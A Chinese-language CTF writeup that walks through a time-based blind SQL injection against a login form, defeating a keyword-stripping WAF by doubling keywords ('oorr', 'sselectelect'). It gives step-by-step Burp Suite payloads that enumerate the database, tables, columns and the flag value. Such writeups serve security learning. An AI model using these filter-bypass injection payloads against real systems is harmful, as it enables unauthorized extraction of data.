1. 程式人生 > 其它 >一次sql盲注實戰_easysql writeup

一次sql盲注實戰_easysql writeup

一次sql盲注實戰

前言

題目為一道ctf web滲透題。需要滲透到資料庫拿到正確flag並提交。

1.初步觀察

隨便輸入賬號密碼發現頁面回顯了一段php程式碼,看樣子是需要構造sql注入的字串繞過waf函式檢測實現sql注入。
該waf函式會將select or等關鍵詞替換成空白字元,防止sql注入。

2.檢視請求

Fiddler抓包看看網路請求,可以發現這是一個基於form表單post請求的題目

3.猜解閉合方式

構造提交引數

' oor 1=1 #

頁面正常響應,看來閉合方式不是單引號,這裡將or寫成oorr目的就是繞過waf攔截,該waf函式將or替換成"",替換完後依然是or,所以繞過攔截。

構造提交引數

" oorr 1=1 #

發現頁面內容變成了 admin 35f1eeffabbb28113be22ca2eb810d6a

嘗試用這個賬號密碼登入一下,發現一點卵用都沒有,看來沒有那麼簡單。

只能按照常規盲注手段一步一步往下走了。

4. 上Burp Suite

5.時間盲注資料庫名長度

222 " oorr if(length(database())=§len§,sleep(5),1) #

點選開始攻擊後可以看到資料庫名長度為7個字元

6.時間盲注資料庫名稱

222 " oorr if(ascii(substring(database(),§index§,1))=§value§,sleep(5),1)#

對長度進行排序後得到資料庫名是easysql

7.猜解資料庫表數量

222 " oorr if((sselectelect count(table_name) frroom infoorrmation_schema.tables wwherehere table_schema=database() )=§len§,sleep(2),1)#

得到資料庫表數量為2

7.時間盲注第一個表表名長度

得到長度為4

222 " oorr if(length(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 0,1),1))=§len§,sleep(5),1)#

8.時間盲注第二個表表名長度

得到長度為5

222 " oorr if(length(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 1,2),1))=§len§,sleep(5),1)#

9.時間盲注第一個表表名

得到表名為 flag

222 " oorr if(ascii(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 0,1),§index§,1))=§value§,sleep(5),1)#

10.時間盲注第二個表名

222 " oorr if(ascii(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 1,2),§index§,1))=§value§,sleep(5),1)#

11.時間盲注flag表字段數量

由於我們最終的結果是拿到正確的flag,猜測flag存放在flag這張表裡,所以我們接下來對flag表進行滲透。

首先猜解flag表字段數量得到欄位數量為2

222 " oorr if((sselectelect count(column_name) frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag')=§len§,sleep(5),1) #

12.時間盲注flag表第一個欄位名長度

得到長度為:2

222 " oorr if(length(substr((sselectelect column_name frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag' limit 0,1),1))=§len§,sleep(1),1)#

13.時間盲注flag表第一個欄位名稱

得到第一個欄位名為id

222 " oorr if(ascii(substr((sselectelect column_name frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag' limit 0,1),§index§,1))=§value§,sleep(1),1)#

14.時間盲注flag表第二個欄位名稱

得到第二個欄位名為flag

222 " oorr if(ascii(substr((sselectelect column_name frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag' limit 1,2),§index§,1))=§value§,sleep(1),1)#

15.時間盲注flag表記錄數

得到該表只有一條記錄

222 " oorr if((sselectelect count(*) frroom fflaglag)=§count§,sleep(3),1)#

16.時間盲注flag表flag欄位資料長度

得到flag的值長度是38位

222 " oorr if(length(substr((sselectelect fflaglag frroom fflaglag limit 0,1),1))=§len§,sleep(3),1)#

17.時間盲注flag值

flag{d7edeb1366bd99aa12d109c99267e37e}

222 " oorr if(ascii(substr((sselectelect fflaglag frroom fflaglag limit 0,1),§index§,1))=§value§,sleep(3),1)#